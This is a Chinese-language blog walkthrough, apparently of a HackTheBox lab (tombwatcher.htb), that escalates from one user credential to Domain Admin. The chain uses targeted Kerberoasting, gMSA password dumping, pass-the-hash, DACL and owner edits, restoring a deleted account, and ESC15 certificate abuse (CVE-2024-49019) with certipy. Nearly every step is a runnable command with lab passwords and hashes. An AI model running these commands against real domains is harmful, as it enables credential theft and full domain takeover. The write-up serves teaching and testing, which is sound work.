文章总结: 本文详细介绍了一次内网渗透测试中针对ADCS证书服务的攻击过程,从初始凭据获取到最终域控提权。攻击者利用WriteSPN权限、AddSelf权限、ReadGMSAPassword权限等多种权限提升技术,最终通过ESC15漏洞(CVE-2024-49019)获取域管理员权限。文章提供了详细的命令行操作步骤和工具使用方法,对安全人员进行防御测试和渗透测试人员了解ADCS攻击技术有较高参考价值。 综合评分: 89 文章分类: 内网渗透,渗透测试,漏洞分析,WEB安全,红队

内网渗透实战-ADCS证书攻击ESC15
原创
Jzhoucdc
攻防之路JZhoucdc
2025年10月26日 14:26 四川
记录在一次内网渗透测试,针对DC域控,进行ADCS证书攻击
ADCS攻击简介
Active Directory Certificate Services (ADCS) 是微软在Windows Server操作系统中提供的一个功能,旨在为企业环境提供数字证书的发布、管理和撤销服务。ADCS的配置错误可能允许低权限用户在Active Directory中提升权限,通常可以提升到域管理员(Domain Admin)权限。SpecterOps的研究引入了“ESC”编号来分类这些AD CS滥用场景。截至2025年,已经识别出16种不同的权限提升技术。
背景
在一次内网渗透中,我们已经得到一个用户凭据
用户名:henry
密码:H3nry_987TGV!
通过Bloodhound工具的使用,发现一个通往DC域控的攻击路径

下面开始利用:
WriteSPN权限
用户[email protected] 有权限将 “serviceprincipalname” 属性写入用户 [email protected]。
可以使用targetedKerberoast工具,该工具将自动尝试针对所有用户或命令行中指定的特定用户的定向Kerberoast攻击,然后获取可破解的哈希值,清理工作也将自动完成。然后可以使用hashcat离线破解恢复的哈希值。
python3 targetedKerberoast.py --dc-ip '10.10.11.72' -d 'tombwatcher.htb' -u 'henry' -p 'H3nry_987TGV!' -v

hashcat -m 13100 hash rockyou.txt

得到一组新的用户凭证
用户:ALFRED
密码:basketball
下一步利用路径:

AddSelf权限
#
[email protected]
具有将自己添加到[email protected]群组的权限。
通过将自己添加到该群组,ALFRED @TOMBWATCHER.HTB将获得[email protected]已经拥有的相同权限。
bloodyAD --host "10.10.11.72" -d "tombwatcher.htb" -u "ALFRED" -p "basketball" add groupMember "INFRASTRUCTURE" "ALFRED"

ReadGMSAPassword权限利用

[email protected] 是一个组管理的服务账户。组 [email protected]
可以检索 GMSA [email protected] 的密码。
组管理的服务账户是一种特殊的 Active Directory 对象,其中该对象的密码由域控制器管理,并在设定的时间间隔内自动更改(查看 MSDS-ManagedPasswordInterval 属性)。GMSA 的预期用途是允许某些计算机账户检索 GMSA 的密码,然后以 GMSA 的身份运行本地服务。如果攻击者控制了授权主体,可能会滥用该权限来冒充 GMSA。
python3 gMSADumper.py -u 'ALFRED' -p 'basketball' -d 'tombwatcher.htb'

拿到NTLM hash,方便下一步利用。
ForceChangePassword权限利用
pth-net rpc password "SAM" "Password@123" -U "tombwatcher"/"ansible_dev$"%"ffffffffffffffffffffffffffffffff":"bf8b11e301f7ba3fdc616e5d4fa01c30" -S "10.10.11.72"

WriteOwner权限

这个权限的利用有多种利用方式,可以利用WriteOwner权限。
攻击者能够授予所有权,
然后在不知目标密码的前提下执行诸如Kerberoasting或密码更改等攻击。
impacket-owneredit -action write -new-owner 'SAM' -target-dn 'CN=JOHN,CN=Users,DC=tombwatcher,DC=htb' 'tombwatcher.htb'/'SAM':'Password@123' -dc-ip 10.10.11.72

接下来:
使用 dacledit.py 将对目标用户对象的完全控制权限分配给攻击者已经拥有的用户
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'SAM' -target-dn 'CN=JOHN,CN=Users,DC=tombwatcher,DC=htb' 'tombwatcher.htb'/'SAM':'Password@123' -dc-ip 10.10.11.72

TargetedKerberoast
python3 targetedKerberoast.py --dc-ip '10.10.11.72' -d 'tombwatcher.htb' -u 'SAM' -p 'Password@123' -v

下一步使用hashcat使用字段破解,但是失败,可能是用户密码强度较强。
直接修改用户密码
net rpc password john 'Password@123' -U tombwatcher.htb/sam%'Password@123' -S 10.10.11.72

登陆DC,拿到初始shell

evil-winrm -i 10.10.11.72 -u 'john' -p 'Password@123'

提权阶段
发现john在ADCS OU(组织单元)上拥有GenericAll权限。

枚举ADCS证书漏洞
certipy-ad find -dc-ip 10.10.11.72 -ns 10.10.11.72 -target dc01.tombwatcher.htb -u john -p 'Password@123' -vulnerable -stdout

继续枚举
certipy-ad find -dc-ip 10.10.11.72 -ns 10.10.11.72 -target dc01.tombwatcher.htb -u john -p 'Password@123'

发现17模版

可以发现奇怪的是,其中一个对象是通过它的SID显示的,而不是通过名称。这表明certipy未能解析用户的信息。

尝试获取关于主机上SID的信息,它会失败:
Get-ADObject -Identity "S-1-5-21-1392491010-1358638721-2126982587-1111"

发现这个SID并不存在,可能已经被删除
寻找被删除的用户
AD域具备回收站功能(Recycle Bin Feature)。它允许管理员恢复已删除的AD对象。它已安装并处于激活状态:
Get-ADOptionalFeature 'Recycle Bin Feature'

列出已删除的项目
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent

发现sid 1111用户为cert_admin

因为John在ADCS上拥有GenericAll权限,而ADCS是cert_admin的最后一个已知父级,John应该能够重启这个账户。
恢复用户
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
然后查看是否成功
Get-ADUser cert_admin

John在对整个OU拥有GenericAll权限的情况下,可以通过多种方式利用cert_admin账户。由于该账户已被删除,只需更改密码即可:
Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString 'Password@123' -AsPlainText -Force)

恢复成功

提权之证书漏洞枚举
利用cert_admin用户身份进行枚举
certipy-ad find -target dc01.tombwatcher.htb -u 'cert_admin' -p 'Password@123' -vulnerable -stdout

发现ESC15漏洞
ESC15(也被社区称为“EKUwu”,由Justin Bollinger(来自TrustedSec)研究),并被追踪为CVE-2024-49019,描述了一个影响未打补丁的证书颁发机构(CA)的漏洞。该漏洞允许攻击者将任意的 应用程序策略(Application Policies) 注入到通过 版本1(Schema V1)证书模板 发布的证书中。如果CA未更新相关的安全补丁(截至2024年11月),它将错误地将这些由攻击者提供的应用程序策略包含到已颁发的证书中。即使这些策略在模板的 扩展密钥使用(EKU) 中没有定义,或者与模板的预期EKU不一致,这些策略也会被错误地包含在证书中,从而赋予该证书非预期的功能。
有多个利用方式,这里使用“代理”证书代表目标特权用户请求证书。 这是一个类似 ESC3攻击的步骤
certipy-ad req -u cert_admin -p 'Password@123' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn [email protected] -application-policies 'Certificate Request Agent'

此时,我基本上可以像ESC3一样,使用PFX请求一个管理员模板的用户登录票据:
certipy-ad req -u cert_admin -p 'Password@123' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.72

evil-winrm -i dc01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc

最后通过NTLM哈希传递成功,以管理员身份登陆
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论